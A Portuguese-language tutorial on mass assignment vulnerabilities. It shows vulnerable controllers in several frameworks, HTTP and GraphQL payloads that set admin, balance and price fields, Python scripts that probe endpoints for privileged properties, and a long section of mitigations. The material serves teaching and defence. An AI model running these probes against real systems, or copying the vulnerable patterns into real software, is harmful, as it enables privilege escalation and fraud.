# Mass Assignment

## 🔍 **Conceitos Fundamentais**

### **O que é Mass Assignment**

Mass Assignment é uma vulnerabilidade que ocorre quando aplicações automaticamente vinculam parâmetros de entrada do usuário a propriedades de modelo/objeto sem validação adequada, permitindo que atacantes modifiquem atributos sensíveis que não deveriam ser acessíveis.

### **Princípio de Funcionamento**

```
Parâmetros Maliciosos → Vinculação Automática → Modificação de Atributos Sensíveis
         ↓                       ↓                           ↓
 Atacante envia campos   Framework associa      Atributos privilegiados
 não autorizados na     automaticamente os     são modificados sem
 requisição             parâmetros ao objeto   autorização
```

### **Características da Vulnerabilidade**

* **Explora a conveniência** dos frameworks modernos
* **Frequentemente negligenciada** em desenvolvimento rápido
* **Pode levar a escalação de privilégios** e modificação de dados sensíveis
* **Afeta principalmente APIs RESTful** e aplicações web
* **Resultado de falta de lista branca/negra** de atributos permitidos

### **Tipos de Mass Assignment**

#### **1. Atribuição Direta de Propriedades**

```json
{
  "vinculacao_direta": [
    "User.is_admin = true",
    "Account.balance = 999999",
    "Product.price = 0",
    "Order.status = 'completed'"
  ]
}
```

#### **2. Modificação de Relacionamentos**

```json
{
  "modificacao_relacionamentos": [
    "User.roles = [admin]",
    "Post.author_id = attacker_id",
    "Order.user_id = another_user_id"
  ]
}
```

#### **3. Overwriting de Metadados**

```json
{
  "sobrescrita_metadados": [
    "Model.created_at = past_date",
    "Model.updated_at = future_date",
    "Model.id = different_id"
  ]
}
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque Completo**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as API Vulnerável
    participant M as Model/ORM
    participant DB as Banco de Dados

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Analisa estrutura da API
    A->>V: Identifica endpoints de criação/atualização
    A->>V: Descobre propriedades do modelo
    V->>A: Retorna informações (erros, respostas)
    
    Note over A,V: FASE 2: Descoberta de Propriedades
    A->>V: Envia requisições com propriedades suspeitas
    A->>V: Testa diferentes nomes de campos
    A->>V: Analisa respostas para detectar propriedades válidas
    V->>A: Confirma propriedades através de erros/sucesso
    
    Note over A,M: FASE 3: Exploração
    A->>V: Envia requisição com propriedades privilegiadas
    V->>M: Vincula automaticamente todos os parâmetros
    M->>DB: Persiste objeto com propriedades modificadas
    DB->>M: Confirma operação
    
    Note over A,V: FASE 4: Verificação
    V->>A: Retorna resposta de sucesso
    A->>V: Verifica se propriedades foram modificadas
    A->>V: Explora novas capacidades adquiridas
```

### **Cenário 1: Escalação de Privilégios em Usuário**

```javascript
// Modelo de Usuário vulnerável
const userSchema = new mongoose.Schema({
  username: String,
  email: String,
  password: String,
  isAdmin: Boolean,      // ⚠️ Propriedade sensível
  isActive: Boolean,     // ⚠️ Propriedade sensível
  role: String,          // ⚠️ Propriedade sensível
  balance: Number        // ⚠️ Propriedade sensível
});

// Endpoint de registro vulnerável
app.post('/api/register', async (req, res) => {
  try {
    // ⚠️ VULNERÁVEL: Mass assignment direto
    const user = new User(req.body);
    await user.save();
    
    res.json({ success: true, user });
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

// Payload de ataque
POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "attacker",
  "email": "attacker@evil.com",
  "password": "password123",
  "isAdmin": true,           // ⚠️ Modificado pelo atacante
  "role": "administrator",   // ⚠️ Modificado pelo atacante
  "balance": 1000000         // ⚠️ Modificado pelo atacante
}
```

### **Cenário 2: Modificação de Pedidos/Ordens**

```python
# Django model e view vulneráveis
class Order(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    product = models.ForeignKey(Product, on_delete=models.CASCADE)
    quantity = models.IntegerField()
    price = models.DecimalField(max_digits=10, decimal_places=2)  # ⚠️ Sensível
    status = models.CharField(max_length=20, default='pending')   # ⚠️ Sensível
    created_at = models.DateTimeField(auto_now_add=True)

# View vulnerável
class OrderUpdateView(UpdateView):
    model = Order
    fields = '__all__'  # ⚠️ CRÍTICO: Permite todos os campos
    template_name = 'order_form.html'
    
    def form_valid(self, form):
        # ⚠️ Salva sem validação adicional
        self.object = form.save()
        return super().form_valid(self, form)

# Exploração via API
PATCH /api/orders/123/ HTTP/1.1
Content-Type: application/json

{
  "quantity": 1,
  "price": 0.01,           // ⚠️ Preço modificado
  "status": "completed",   // ⚠️ Status modificado
  "user": 1                // ⚠️ Dono do pedido modificado
}
```

### **Cenário 3: Atualização de Perfil com Campos Sensíveis**

```ruby
# Rails controller vulnerável
class UsersController < ApplicationController
  def update
    @user = User.find(params[:id])
    
    # ⚠️ VULNERÁVEL: Atualização sem restrições
    if @user.update(user_params)
      redirect_to @user, notice: 'User was successfully updated.'
    else
      render :edit
    end
  end
  
  private
  
  def user_params
    # ⚠️ PERIGOSO: Permite todos os parâmetros
    params.require(:user).permit!
  end
end

# Model User com atributos sensíveis
class User < ApplicationRecord
  # Atributos normais
  attr_accessor :name, :email, :bio, :avatar
  
  # ⚠️ Atributos sensíveis
  attr_accessor :admin, :credits, :subscription_level
end

# Payload de exploração
PUT /users/1 HTTP/1.1
Content-Type: application/json

{
  "user": {
    "name": "Attacker",
    "email": "attacker@evil.com",
    "admin": true,                 // ⚠️ Tornando-se admin
    "credits": 999999,             // ⚠️ Adicionando créditos
    "subscription_level": "premium" // ⚠️ Upgrade de assinatura
  }
}
```

### **Cenário 4: Criação de Recursos com Propriedades Privilegiadas**

```php
// Laravel controller vulnerável
class ProductController extends Controller
{
    public function store(Request $request)
    {
        // ⚠️ VULNERÁVEL: Criação com mass assignment
        $product = Product::create($request->all());
        
        return response()->json($product, 201);
    }
}

// Model Product com atributos sensíveis
class Product extends Model
{
    protected $fillable = [
        'name', 'description', 'price', 
        'is_featured', 'is_approved', 'vendor_id'  // ⚠️ Campos sensíveis no fillable
    ];
}

// Exploração
POST /api/products HTTP/1.1
Content-Type: application/json

{
  "name": "Fake Product",
  "description": "This is a fake product",
  "price": 9.99,
  "is_featured": true,        // ⚠️ Destacando produto não aprovado
  "is_approved": true,        // ⚠️ Auto-aprovando produto
  "vendor_id": 123            // ⚠️ Assumindo propriedade de outro vendedor
}
```

### **Cenário 5: Modificação de Metadados e Timestamps**

```java
// Spring Boot entity e controller vulneráveis
@Entity
public class AuditLog {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    private String action;
    private String description;
    
    @CreationTimestamp
    private Timestamp createdAt;      // ⚠️ Deveria ser apenas leitura
    
    @UpdateTimestamp  
    private Timestamp updatedAt;      // ⚠️ Deveria ser apenas leitura
    
    private String modifiedBy;        // ⚠️ Deveria ser definido pelo sistema
}

// Controller vulnerável
@RestController
@RequestMapping("/api/audit-logs")
public class AuditLogController {
    
    @PutMapping("/{id}")
    public AuditLog updateAuditLog(@PathVariable Long id, @RequestBody AuditLog auditLog) {
        // ⚠️ VULNERÁVEL: Salva objeto completo sem validação
        return auditLogRepository.save(auditLog);
    }
}

// Payload malicioso
PUT /api/audit-logs/456 HTTP/1.1
Content-Type: application/json

{
  "id": 456,
  "action": "USER_DELETED",
  "description": "User admin was deleted",
  "createdAt": "2020-01-01T00:00:00Z",  // ⚠️ Alterando data de criação
  "updatedAt": "2024-01-01T00:00:00Z",  // ⚠️ Alterando data de atualização
  "modifiedBy": "system"                // ⚠️ Fingindo ser o sistema
}
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

* Endpoints de criação/atualização que aceitam JSON/XML
* Uso de funções como `update_attributes`, `fill`, `create` sem restrições
* Parâmetros como `include`, `fields`, `expand` em APIs
* Respostas que retornam mais dados que o enviado
* Documentação de API que lista campos sensíveis
* Mensagens de erro que revelam estrutura do modelo

### **Metodologia de Teste Manual**

#### **1. Descoberta de Propriedades do Modelo**

```python
class MassAssignmentTester:
    def __init__(self, target_url, auth_token=None):
        self.target = target_url
        self.auth_token = auth_token
        self.vulnerabilities = []
    
    def discover_model_properties(self, endpoint, http_method='POST'):
        """Descobrir propriedades do modelo através de tentativa e erro"""
        
        # Lista de propriedades comuns sensíveis
        sensitive_properties = [
            'role', 'admin', 'is_admin', 'isAdmin', 'administrator',
            'password', 'password_hash', 'password_confirmation',
            'email_verified', 'verified', 'active', 'enabled',
            'balance', 'credit', 'points', 'score',
            'permissions', 'privileges', 'rights',
            'user_id', 'owner_id', 'author_id',
            'created_at', 'updated_at', 'deleted_at',
            'price', 'cost', 'amount', 'total',
            'status', 'state', 'phase'
        ]
        
        discovered_properties = []
        
        for property_name in sensitive_properties:
            test_payload = {property_name: 'test_value'}
            
            headers = {'Content-Type': 'application/json'}
            if self.auth_token:
                headers['Authorization'] = f'Bearer {self.auth_token}'
            
            try:
                if http_method.upper() == 'POST':
                    response = requests.post(
                        f"{self.target}{endpoint}",
                        json=test_payload,
                        headers=headers
                    )
                else:
                    response = requests.patch(
                        f"{self.target}{endpoint}",
                        json=test_payload,
                        headers=headers
                    )
                
                # Analisar resposta para detectar propriedades válidas
                if self.is_property_accepted(response, property_name):
                    discovered_properties.append(property_name)
                    
            except requests.RequestException as e:
                print(f"Error testing {property_name}: {e}")
        
        return discovered_properties
    
    def is_property_accepted(self, response, property_name):
        """Determinar se a propriedade foi aceita pelo sistema"""
        
        # Status code 2xx geralmente indica sucesso
        if response.status_code in [200, 201, 204]:
            return True
        
        # Mensagens de erro específicas podem indicar propriedade válida
        error_indicators = [
            f'invalid {property_name}',
            f'{property_name} is required',
            f'{property_name} must be',
            f'validation failed for {property_name}'
        ]
        
        response_text = response.text.lower()
        for indicator in error_indicators:
            if indicator in response_text:
                return True
        
        return False
    
    def test_mass_assignment(self, endpoint, properties_to_test, http_method='POST'):
        """Testar mass assignment com propriedades descobertas"""
        
        test_payload = {}
        for prop in properties_to_test:
            # Usar valores que façam sentido para cada tipo de propriedade
            if any(keyword in prop for keyword in ['admin', 'role', 'privilege']):
                test_payload[prop] = 'admin'
            elif any(keyword in prop for keyword in ['balance', 'credit', 'amount']):
                test_payload[prop] = 999999
            elif any(keyword in prop for keyword in ['price', 'cost']):
                test_payload[prop] = 0.01
            elif 'email' in prop:
                test_payload[prop] = 'attacker@evil.com'
            else:
                test_payload[prop] = 'mass_assignment_test'
        
        headers = {'Content-Type': 'application/json'}
        if self.auth_token:
            headers['Authorization'] = f'Bearer {self.auth_token}'
        
        try:
            if http_method.upper() == 'POST':
                response = requests.post(
                    f"{self.target}{endpoint}",
                    json=test_payload,
                    headers=headers
                )
            else:
                response = requests.patch(
                    f"{self.target}{endpoint}", 
                    json=test_payload,
                    headers=headers
                )
            
            if response.status_code in [200, 201, 204]:
                # Verificar se as propriedades foram realmente aplicadas
                verification_response = self.verify_changes(endpoint, properties_to_test)
                if verification_response:
                    self.vulnerabilities.append({
                        'endpoint': endpoint,
                        'method': http_method,
                        'properties_exploited': properties_to_test,
                        'payload': test_payload
                    })
                    return True
                    
        except requests.RequestException as e:
            print(f"Error in mass assignment test: {e}")
        
        return False
    
    def verify_changes(self, endpoint, expected_properties):
        """Verificar se as propriedades foram modificadas com sucesso"""
        # Implementar lógica de verificação específica para o endpoint
        # Isso pode envolver fazer uma requisição GET para verificar o recurso
        pass
```

#### **2. Teste de Over-Posting**

```python
class OverPostingTester:
    def __init__(self, target_url):
        self.target = target_url
    
    def test_overposting_vulnerability(self, endpoint, normal_payload, sensitive_fields):
        """Testar vulnerabilidade de over-posting"""
        
        # Criar payload malicioso incluindo campos sensíveis
        malicious_payload = normal_payload.copy()
        
        for field in sensitive_fields:
            malicious_payload[field] = self.get_malicious_value(field)
        
        # Enviar requisição
        response = requests.patch(
            f"{self.target}{endpoint}",
            json=malicious_payload,
            headers={'Content-Type': 'application/json'}
        )
        
        if response.status_code == 200:
            # Verificar se campos sensíveis foram modificados
            get_response = requests.get(f"{self.target}{endpoint}")
            if get_response.status_code == 200:
                response_data = get_response.json()
                
                exploited_fields = []
                for field in sensitive_fields:
                    if field in response_data and response_data[field] == malicious_payload[field]:
                        exploited_fields.append(field)
                
                if exploited_fields:
                    return {
                        'vulnerable': True,
                        'exploited_fields': exploited_fields,
                        'payload': malicious_payload
                    }
        
        return {'vulnerable': False}
    
    def get_malicious_value(self, field_name):
        """Gerar valor malicioso apropriado para o campo"""
        
        field_lower = field_name.lower()
        
        if any(keyword in field_lower for keyword in ['admin', 'role', 'type']):
            return 'administrator'
        elif any(keyword in field_lower for keyword in ['price', 'cost', 'balance', 'amount']):
            return 0.01
        elif any(keyword in field_lower for keyword in ['email']):
            return 'attacker@evil.com'
        elif any(keyword in field_lower for keyword in ['id', 'user_id', 'owner_id']):
            return 1
        elif any(keyword in field_lower for keyword in ['active', 'enabled', 'verified']):
            return True
        else:
            return 'overposting_test'
```

### **Técnicas de Fingerprinting**

#### **1. Análise de Respostas de Erro**

```python
def analyze_error_responses(target_url, endpoint):
    """Analisar respostas de erro para descobrir estrutura do modelo"""
    
    test_payloads = [
        {'invalid_property': 'test'},
        {'role': 'invalid_value'},
        {'password': 'short'},
        {'email': 'invalid_email'}
    ]
    
    discovered_properties = {}
    
    for payload in test_payloads:
        response = requests.post(
            f"{target_url}{endpoint}",
            json=payload
        )
        
        if response.status_code == 400:
            # Analisar mensagem de erro para propriedades
            error_text = response.text.lower()
            
            # Procurar por nomes de propriedades em mensagens de erro
            import re
            property_pattern = r'property \"([a-zA-Z_]+)\"|field \"([a-zA-Z_]+)\"|parameter \"([a-zA-Z_]+)\"'
            matches = re.findall(property_pattern, error_text)
            
            for match in matches:
                for group in match:
                    if group and group not in discovered_properties:
                        discovered_properties[group] = 'discovered_from_error'
    
    return discovered_properties
```

#### **2. Detecção de Frameworks Vulneráveis**

```python
def detect_vulnerable_frameworks(target_url):
    """Detectar frameworks propensos a mass assignment"""
    
    framework_indicators = {
        'Ruby on Rails': {
            'headers': ['X-Runtime', 'X-Rails-Version'],
            'patterns': ['rails', 'ruby'],
            'vulnerable_methods': ['update_attributes', 'assign_attributes']
        },
        'Django': {
            'headers': ['X-Frame-Options', 'Server'],
            'patterns': ['django', 'csrf'],
            'vulnerable_methods': ['form.save()', 'Model.objects.create()']
        },
        'Laravel': {
            'headers': ['X-Powered-By'],
            'patterns': ['laravel'],
            'vulnerable_methods': ['Model::create()', 'Model::update()']
        },
        'Express.js': {
            'headers': ['X-Powered-By'],
            'patterns': ['express', 'node.js'],
            'vulnerable_methods': ['Model.create()', 'document.save()']
        }
    }
    
    response = requests.get(target_url)
    detected_frameworks = []
    
    for framework, indicators in framework_indicators.items():
        # Verificar headers
        for header in indicators['headers']:
            if header in response.headers:
                detected_frameworks.append(framework)
                break
        
        # Verificar padrões no conteúdo
        for pattern in indicators['patterns']:
            if pattern in response.text.lower():
                detected_frameworks.append(framework)
                break
    
    return list(set(detected_frameworks))
```

***

## 💥 **Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

#### **1. Exploração de Nested Objects**

```javascript
// Exploração de objetos aninhados
const maliciousPayload = {
  username: "attacker",
  email: "attacker@evil.com",
  profile: {
    bio: "I'm an attacker",
    // ⚠️ Tentando modificar propriedades aninhadas sensíveis
    privacy_settings: {
      is_private: false,
      allow_messaging: true
    }
  },
  // ⚠️ Modificando relacionamentos
  roles: [
    { id: 1, name: "admin" },
    { id: 2, name: "moderator" }
  ],
  preferences: {
    email_notifications: false,
    // ⚠️ Propriedades administrativas
    site_settings: {
      maintenance_mode: false,
      registration_enabled: true
    }
  }
};

// Requisição de exploração
fetch('/api/users/123', {
  method: 'PATCH',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer user_token'
  },
  body: JSON.stringify(maliciousPayload)
});
```

#### **2. Bypass de Proteções com Array Parameters**

```python
# Bypass usando parâmetros de array
bypass_payloads = [
    # Tentativa 1: Notação de array
    {
        "user[name]": "Attacker",
        "user[email]": "attacker@evil.com", 
        "user[is_admin]": True,
        "user[balance]": 999999
    },
    
    # Tentativa 2: Notação de ponto
    {
        "user.name": "Attacker",
        "user.email": "attacker@evil.com",
        "user.is_admin": True,
        "user.balance": 999999
    },
    
    # Tentativa 3: Diferentes casos
    {
        "IsAdmin": True,
        "isadmin": True,
        "IS_ADMIN": True,
        "Is_Admin": True
    },
    
    # Tentativa 4: Unicode e caracteres especiais
    {
        "is₋admin": True,  # Unicode hyphen
        "is‑admin": True,  # Different dash character
        "is_admin ": True  # Trailing space
    }
]
```

#### **3. Exploração de GraphQL**

```graphql
# Mutation GraphQL vulnerável a mass assignment
mutation UpdateUser($input: UpdateUserInput!) {
  updateUser(input: $input) {
    user {
      id
      username
      email
      isAdmin    # ⚠️ Campo sensível
      role       # ⚠️ Campo sensível
      balance    # ⚠️ Campo sensível
    }
  }
}

# Variables - Payload malicioso
{
  "input": {
    "id": "123",
    "username": "attacker",
    "email": "attacker@evil.com",
    "isAdmin": true,     # ⚠️ Escalando privilégios
    "role": "ADMIN",     # ⚠️ Alterando papel
    "balance": 1000000   # ⚠️ Modificando saldo
  }
}
```

### **Impacto das Vulnerabilidades**

#### **Classificação de Impacto**

```json
{
  "impacto_critico": {
    "privilege_escalation": [
      "Tornar-se administrador",
      "Acessar funcionalidades privilegiadas",
      "Modificar permissões de outros usuários",
      "Contornar controles de acesso"
    ],
    "financial_impact": [
      "Modificar saldos/creditos",
      "Alterar preços de produtos",
      "Comprar itens gratuitamente",
      "Acessar recursos premium"
    ]
  },
  "impacto_alto": {
    "data_manipulation": [
      "Modificar dados de outros usuários",
      "Alterar propriedade de recursos",
      "Manipular metadados do sistema",
      "Forjar registros de auditoria"
    ],
    "business_logic_bypass": [
      "Pular etapas de workflow",
      "Auto-aprovar recursos",
      "Modificar estados de processo",
      "Contornar verificações"
    ]
  },
  "impacto_medio": {
    "information_disclosure": [
      "Descobrir estrutura de dados",
      "Identificar campos sensíveis",
      "Mapear relacionamentos",
      "Coletar informações para outros ataques"
    ],
    "service_abuse": [
      "Modificar configurações de conta",
      "Alterar preferências do sistema",
      "Manipular notificações",
      "Abusar de funcionalidades"
    ]
  }
}
```

#### **Cadeias de Ataque Completas**

```
Cenário E-commerce:
Mass Assignment → Modificar Preços → Comprar Barato → Lucro Ilegal

Cenário SaaS:
Mass Assignment → Escalar para Admin → Acessar Dados → Vazar Informações

Cenário Rede Social:
Mass Assignment → Modificar Permissões → Acessar Mensagens → Chantagem
```

***

## 🛡️ **Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Lista Branca de Atributos Permitidos**

```python
# Django - Usando explicitamente apenas campos permitidos
class UserUpdateView(UpdateView):
    model = User
    template_name = 'user_form.html'
    
    def get_form_class(self):
        # ✅ SEGURO: Definir explicitamente campos permitidos
        class UserForm(forms.ModelForm):
            class Meta:
                model = User
                fields = ['username', 'email', 'first_name', 'last_name', 'bio']
                # ⚠️ Campos sensíveis NÃO incluídos: is_admin, balance, etc.
        
        return UserForm
    
    def form_valid(self, form):
        # ✅ Validar adicionalmente se necessário
        user = form.save(commit=False)
        
        # Garantir que campos sensíveis não sejam modificados
        if 'is_admin' in form.changed_data:
            return self.form_invalid(form)
            
        user.save()
        return super().form_valid(form)

# API View segura
from rest_framework import serializers, viewsets

class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['id', 'username', 'email', 'first_name', 'last_name', 'bio']
        # ✅ Apenas campos seguros e necessários
        read_only_fields = ['id', 'date_joined']  # Campos apenas leitura

class UserViewSet(viewsets.ModelViewSet):
    queryset = User.objects.all()
    serializer_class = UserSerializer
    
    def perform_update(self, serializer):
        # ✅ Validação adicional se necessário
        user = self.get_object()
        
        # Prevenir modificação de campos sensíveis
        if 'is_admin' in serializer.validated_data:
            raise serializers.ValidationError("Cannot modify admin status")
            
        serializer.save()
```

#### **2. Data Transfer Objects (DTOs)**

```java
// Java Spring Boot - Usando DTOs para separação de concerns

// Entity completa (com campos sensíveis)
@Entity
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    private String username;
    private String email;
    private String password;
    
    // ⚠️ Campos sensíveis
    private boolean admin;
    private BigDecimal balance;
    private String role;
    
    // getters e setters
}

// DTO para atualização (apenas campos permitidos)
public class UserUpdateDTO {
    private String username;
    private String email;
    
    // ✅ Apenas campos que usuários podem modificar
    // ⚠️ Campos sensíveis NÃO incluídos
    
    // getters e setters
    public String getUsername() { return username; }
    public void setUsername(String username) { this.username = username; }
    
    public String getEmail() { return email; }
    public void setEmail(String email) { this.email = email; }
}

// Controller seguro
@RestController
@RequestMapping("/api/users")
public class UserController {
    
    @PutMapping("/{id}")
    public ResponseEntity<User> updateUser(
            @PathVariable Long id, 
            @RequestBody @Valid UserUpdateDTO userUpdateDTO) {
        
        User user = userRepository.findById(id)
            .orElseThrow(() -> new ResourceNotFoundException("User not found"));
        
        // ✅ Apenas atualizar campos permitidos do DTO
        user.setUsername(userUpdateDTO.getUsername());
        user.setEmail(userUpdateDTO.getEmail());
        
        // ⚠️ Campos sensíveis NUNCA são atualizados do input do usuário
        // user.setAdmin(...) - NUNCA chamado
        // user.setBalance(...) - NUNCA chamado
        
        User savedUser = userRepository.save(user);
        return ResponseEntity.ok(savedUser);
    }
}
```

#### **3. Input Sanitization Middleware**

```javascript
// Node.js/Express - Middleware de sanitização
const createSanitizationMiddleware = (allowedFields) => {
  return (req, res, next) => {
    if (req.body && typeof req.body === 'object') {
      const sanitizedBody = {};
      
      // ✅ Apenas copiar campos permitidos
      allowedFields.forEach(field => {
        if (req.body[field] !== undefined) {
          sanitizedBody[field] = req.body[field];
        }
      });
      
      req.body = sanitizedBody;
    }
    next();
  };
};

// Uso específico por rota
app.patch('/api/users/:id', 
  createSanitizationMiddleware(['username', 'email', 'bio', 'avatar']),
  async (req, res) => {
    try {
      const user = await User.findByIdAndUpdate(
        req.params.id,
        req.body,  // ✅ Já sanitizado
        { new: true }
      );
      res.json(user);
    } catch (error) {
      res.status(400).json({ error: error.message });
    }
  }
);

// Middleware mais avançado com validação de tipos
const createAdvancedSanitizer = (fieldConfig) => {
  return (req, res, next) => {
    const sanitized = {};
    const errors = [];
    
    Object.keys(fieldConfig).forEach(field => {
      if (req.body[field] !== undefined) {
        const config = fieldConfig[field];
        const value = req.body[field];
        
        // Validar tipo
        if (typeof value !== config.type) {
          errors.push(`Field ${field} must be of type ${config.type}`);
          return;
        }
        
        // Validar se necessário
        if (config.validate && !config.validate(value)) {
          errors.push(`Field ${field} failed validation`);
          return;
        }
        
        sanitized[field] = value;
      }
    });
    
    if (errors.length > 0) {
      return res.status(400).json({ errors });
    }
    
    req.body = sanitized;
    next();
  };
};

// Configuração dos campos
const userUpdateConfig = {
  username: { type: 'string', validate: (val) => val.length >= 3 },
  email: { type: 'string', validate: (val) => val.includes('@') },
  bio: { type: 'string' }
  // ⚠️ Campos sensíveis NÃO estão na configuração
};
```

### **Padrões de Codificação Seguros**

#### **1. Policy-based Authorization**

```python
# Python - Autorização baseada em políticas
from typing import List, Set

class FieldAuthorizationPolicy:
    """Política de autorização para campos"""
    
    def __init__(self, user_role: str):
        self.user_role = user_role
        self._allowed_fields = self._get_allowed_fields()
    
    def _get_allowed_fields(self) -> Set[str]:
        """Definir campos permitidos baseado no papel do usuário"""
        
        base_fields = {'username', 'email', 'first_name', 'last_name', 'bio'}
        
        if self.user_role == 'admin':
            return base_fields | {'is_active', 'role', 'permissions'}
        elif self.user_role == 'moderator':
            return base_fields | {'is_active'}
        else:
            return base_fields  # Usuário normal
    
    def is_field_allowed(self, field: str) -> bool:
        """Verificar se campo é permitido"""
        return field in self._allowed_fields
    
    def filter_payload(self, payload: dict) -> dict:
        """Filtrar payload para manter apenas campos permitidos"""
        return {
            field: value 
            for field, value in payload.items() 
            if self.is_field_allowed(field)
        }

# Uso no view
class UserUpdateAPIView(APIView):
    def patch(self, request, user_id):
        user = get_object_or_404(User, id=user_id)
        
        # Criar política baseada no usuário autenticado
        policy = FieldAuthorizationPolicy(request.user.role)
        
        # Filtrar payload
        filtered_data = policy.filter_payload(request.data)
        
        if not filtered_data:
            return Response(
                {'error': 'No valid fields to update'}, 
                status=400
            )
        
        # Atualizar apenas campos permitidos
        for field, value in filtered_data.items():
            setattr(user, field, value)
        
        user.save()
        
        return Response(UserSerializer(user).data)
```

#### **2. Attribute-Level Validation**

```ruby
# Ruby on Rails - Validação em nível de atributo
class User < ApplicationRecord
  # Atributos normais
  attr_accessor :username, :email, :bio
  
  # ⚠️ Atributos sensíveis
  attr_accessor :admin, :balance, :role
  
  # Validação para prevenir mass assignment
  validate :prevent_sensitive_attribute_assignment
  
  private
  
  def prevent_sensitive_attribute_assignment
    sensitive_attributes = ['admin', 'balance', 'role']
    
    sensitive_attributes.each do |attr|
      if changes.key?(attr) && !allowed_to_change_sensitive_attributes?
        errors.add(attr, 'cannot be modified through mass assignment')
      end
    end
  end
  
  def allowed_to_change_sensitive_attributes?
    # Lógica para determinar se usuário pode modificar atributos sensíveis
    # Por exemplo, apenas administradores através de endpoints específicos
    false
  end
end

# Controller seguro
class UsersController < ApplicationController
  before_action :set_user, only: [:update]
  
  def update
    # ✅ Usar strong parameters
    if @user.update(user_params)
      redirect_to @user, notice: 'User was successfully updated.'
    else
      render :edit
    end
  end
  
  private
  
  def set_user
    @user = User.find(params[:id])
  end
  
  def user_params
    # ✅ Lista branca explícita
    params.require(:user).permit(
      :username, 
      :email, 
      :bio, 
      :avatar
      # ⚠️ Campos sensíveis NÃO permitidos
    )
  end
end
```

#### **3. Schema Validation com JSON Schema**

```javascript
// Node.js - Validação de schema com JSON Schema
const Ajv = require('ajv');
const ajv = new Ajv();

// Definir schemas para diferentes operações
const userUpdateSchema = {
  type: 'object',
  properties: {
    username: { type: 'string', minLength: 3, maxLength: 50 },
    email: { type: 'string', format: 'email' },
    bio: { type: 'string', maxLength: 500 },
    avatar: { type: 'string', format: 'uri' }
  },
  additionalProperties: false,  // ✅ CRÍTICO: Não permitir propriedades adicionais
  required: []  // Nenhum campo obrigatório para atualização
};

const userCreateSchema = {
  type: 'object',
  properties: {
    username: { type: 'string', minLength: 3, maxLength: 50 },
    email: { type: 'string', format: 'email' },
    password: { type: 'string', minLength: 8 },
    bio: { type: 'string', maxLength: 500 }
  },
  additionalProperties: false,
  required: ['username', 'email', 'password']
};

// Compilar validadores
const validateUserUpdate = ajv.compile(userUpdateSchema);
const validateUserCreate = ajv.compile(userCreateSchema);

// Middleware de validação
const validateSchema = (validator) => {
  return (req, res, next) => {
    const valid = validator(req.body);
    
    if (!valid) {
      return res.status(400).json({
        error: 'Invalid input',
        details: validator.errors
      });
    }
    
    next();
  };
};

// Uso nas rotas
app.patch('/api/users/:id', 
  validateSchema(validateUserUpdate),
  async (req, res) => {
    // ✅ req.body está validado e contém apenas campos permitidos
    try {
      const user = await User.findByIdAndUpdate(
        req.params.id,
        req.body,
        { new: true }
      );
      res.json(user);
    } catch (error) {
      res.status(400).json({ error: error.message });
    }
  }
);

app.post('/api/users',
  validateSchema(validateUserCreate),
  async (req, res) => {
    try {
      const user = new User(req.body);
      await user.save();
      res.status(201).json(user);
    } catch (error) {
      res.status(400).json({ error: error.message });
    }
  }
);
```

### **Configurações de Segurança**

#### **1. Configuração de Framework Segura**

```python
# Django settings.py - Configurações de segurança
# Desabilitar mass assignment por padrão

# Em settings.py
DATA_UPLOAD_MAX_MEMORY_SIZE = 10485760  # 10MB max
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000     # Limitar número de campos

# Configuração personalizada para segurança
SECURITY_CONFIG = {
    'MASS_ASSIGNMENT_PROTECTION': True,
    'ALLOW_NESTED_CREATION': False,
    'STRICT_FIELD_VALIDATION': True,
}

# Middleware customizado
class MassAssignmentProtectionMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
        
    def __call__(self, request):
        # Aplicar proteções antes do processamento
        if request.method in ['POST', 'PUT', 'PATCH']:
            self.validate_request_body(request)
        
        response = self.get_response(request)
        return response
    
    def validate_request_body(self, request):
        """Validar corpo da requisição para prevenir mass assignment"""
        if hasattr(request, 'data') and isinstance(request.data, dict):
            # Implementar lógica de validação específica
            pass
```

#### **2. Configuração de ORM Segura**

```php
// Laravel - Configuração de modelo segura
class User extends Model
{
    // ✅ SEGURO: Definir explicitamente campos fillable
    protected $fillable = [
        'username',
        'email', 
        'first_name',
        'last_name',
        'bio'
        // ⚠️ Campos sensíveis NÃO incluídos
    ];
    
    // ✅ OU: Definir campos guarded (não permitidos)
    protected $guarded = [
        'id',
        'is_admin',
        'balance',
        'role',
        'permissions',
        'created_at',
        'updated_at'
    ];
    
    // Validação customizada
    public static function rules($id = null)
    {
        return [
            'username' => 'required|string|max:255|unique:users,username,' . $id,
            'email' => 'required|email|unique:users,email,' . $id,
            'first_name' => 'nullable|string|max:255',
            'last_name' => 'nullable|string|max:255',
            'bio' => 'nullable|string|max:1000'
            // ⚠️ Campos sensíveis NÃO têm regras de validação
        ];
    }
}

// Controller seguro
class UserController extends Controller
{
    public function update(Request $request, User $user)
    {
        // ✅ Validar apenas campos permitidos
        $validated = $request->validate(User::rules($user->id));
        
        // ✅ Atualizar apenas com dados validados
        $user->update($validated);
        
        return response()->json($user);
    }
    
    public function adminUpdate(Request $request, User $user)
    {
        // ✅ Endpoint separado para admin com campos diferentes
        $adminRules = array_merge(User::rules($user->id), [
            'is_admin' => 'boolean',
            'role' => 'string|in:user,moderator,admin'
        ]);
        
        $validated = $request->validate($adminRules);
        
        $user->update($validated);
        
        return response()->json($user);
    }
}
```

***

## 🔧 **Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Mass Assignment Scanner**

```python
#!/usr/bin/env python3
# mass_assignment_scanner.py

import requests
import json
import re
from urllib.parse import urljoin

class MassAssignmentScanner:
    def __init__(self, target_url, auth_token=None):
        self.target = target_url
        self.auth_token = auth_token
        self.vulnerabilities = []
    
